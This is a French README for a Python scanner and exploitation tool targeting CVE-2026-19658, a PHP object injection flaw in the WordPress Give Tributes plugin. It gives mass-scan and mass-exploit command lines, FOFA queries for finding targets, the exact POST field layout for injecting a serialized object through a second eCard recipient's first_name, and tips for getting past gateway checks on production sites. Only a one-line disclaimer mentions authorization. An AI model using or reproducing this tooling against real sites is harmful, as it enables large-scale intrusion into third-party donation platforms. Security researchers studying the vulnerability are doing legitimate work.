
Vérificateur Python 3 et assistant d'exploitation pour CVE-2026-19658, une faille d'injection d'objet PHP dans le plugin WordPress Give Tributes, avec découverte de cibles via FOFA et exploitation des formulaires de don hérités.
Python 3 proof-of-concept scanner et assistant d'exploitation de chaîne de dons pour CVE-2026-19658 dans l'add-on WordPress Give - Tributes (Liquid Web / GiveWP).
| Plateforme | Plugin WordPress (nécessite le cœur GiveWP) |
| Composant | Give - Tributes |
| Affecté | ≤ 2.3.1 |
| Corrigé dans | 2.3.1.1+ (champs eCard multi-destinataires assainis) |
| CVSS | 9.8 Critique |
| Auth | Non authentifiée (formulaire de don hérité) |
| CWE | CWE-502 — Désérialisation de données non fiables |
| Assigneur | Wordfence |
Lorsque Allow Multiple Recipients est activé pour les eCards et que eCard custom message est désactivé (par défaut), les versions vulnérables stockent les données de destinataires eCard brutes de $_POST dans les métadonnées de don. La validation des champs GiveWP utilise une copie give_clean() de $_POST (les chaînes sérialisées y sont vidées), mais insert_tribute_data() lit $_POST non assaini, de sorte que le first_name / last_name d'un second destinataire peut contenir un objet sérialisé PHP.
Impact : Aucune chaîne POP connue au sein de Give Tributes seul. Les métadonnées sont désérialisées lors de leur lecture (par ex. aperçu/renvoi d'eCard par l'admin). Un RCE ou un impact destructif nécessite une chaîne de gadgets provenant d'un autre plugin ou thème installé.
[give_form] / v2), pas le Visual Form Builder v3 uniquementmanual en dev/staging)pip install -r requirements.txtpip install -r requirements.txt
# Cible unique — vérification (flux terminal activé par défaut pour --list)
python poc.py -u https://target.example --mode check
# Vérification en masse
python poc.py --list targets.example.txt --mode check --threads 20 --flow
# Cible unique — exploitation (cibles autorisées uniquement)
python poc.py -u https://target.example --mode exploit \
--form-url /donate/ --form-id 123 --gateway manual \
--payload 'O:8:"stdClass":0:{}'
# Exploitation en masse depuis la sortie de vérification
python poc.py --list candidates.jsonl --mode exploit --threads 8 --flow \
--vuln-list exploited.txt
Exemples :
body="/wp-content/plugins/give-tributes/"
body="give-tributes" && body="givewp"
Liste d'hôtes (un domaine par ligne) :
python poc.py --list my_hosts.txt --mode check --threads 20 --flow
Export CSV FOFA :
python fofa_to_list.py -i fofa_export.csv
python poc.py --list list.txt --mode check --threads 20
| Option | Description |
|---|---|
-u, --url | URL de base unique |
--list | Liste d'URL, fichier d'hôtes, ou candidates.jsonl |
--mode | check ou exploit |
--form-url | Chemin de la page de don ou URL complète |
--form-id | ID de post du formulaire Give |
--paths | Chemins supplémentaires à parcourir pour les formulaires |
--payload | Objet sérialisé pour le first_name du 2e destinataire |
--gateway | payment-mode de Give (par défaut manual) |
--email | give_email du donateur |
--flow | Une ligne par cible lors des exécutions en masse (par défaut avec --list) |
--no-flow | Résumé de progression uniquement |
--quiet, -q | Sortie console minimale |
--threads, -j | Concurrence en masse (par défaut 12) |
--output | Journal JSONL (par défaut cve_2026_19658_results.jsonl) |
--vuln-list | Lignes de hits/exploitées en texte (par défaut hits.txt) |
--candidates-list | Métadonnées JSONL de vérification (par défaut candidates.jsonl) |
Utilisez --vuln-list exploited.txt lors des exécutions d'exploitation afin que les hits de vérification dans hits.txt ne soient pas écrasés.
| Fichier | Mode | Contenu |
|---|---|---|
cve_2026_19658_results.jsonl | les deux | JSON complet par cible |
hits.txt | check | URLs avec exploitable_candidate |
candidates.jsonl | check | best_form, indices de version |
exploited.txt | exploit | url|payment=… lorsque le don est confirmé |
status de vérification| Statut | Signification |
|---|---|
candidate | Plugin vulnérable + Give + formulaire hérité avec UI tributes |
vulnerable_no_form | Plugin/version OK, aucun formulaire approprié trouvé sur les chemins parcourus |
patched | Tributes > 2.3.1 ou ≥ 2.3.1.1 (lorsque la version est lisible) |
give_only | Give sans Tributes détectable |
no_plugin | Tributes non détecté |
Le scan distant ne peut pas voir de manière fiable « Allow Multiple Recipients » ; les candidats peuvent encore échouer au moment de l'exploitation.
first_name.manual est souvent désactivée en production — essayez les passerelles visibles sur le formulaire (stripe, paypal, test, …).give validation rejected donation : options tribute/notify, montant, ou passerelle incompatible.give_tributes_show_dedication=yes
give_tributes_would_to=send_eCard
give_tributes_ecard_notify[recipient][first_name][]=Valid
give_tributes_ecard_notify[recipient][first_name][]=<serialized payload>
give_tributes_ecard_notify[recipient][email][]=<donor email>
give_tributes_ecard_notify[recipient][email][][email protected]
…
.
├── poc.py
├── fofa_to_list.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore
Les listes de scan locales et les artefacts d'exécution (list.txt, fofa*.csv, *.jsonl, hits.txt, …) sont dans .gitignore et ne doivent pas être commités.
Pour les tests de sécurité autorisés et l'éducation uniquement. Vous êtes responsable du respect des lois applicables et des règles du programme.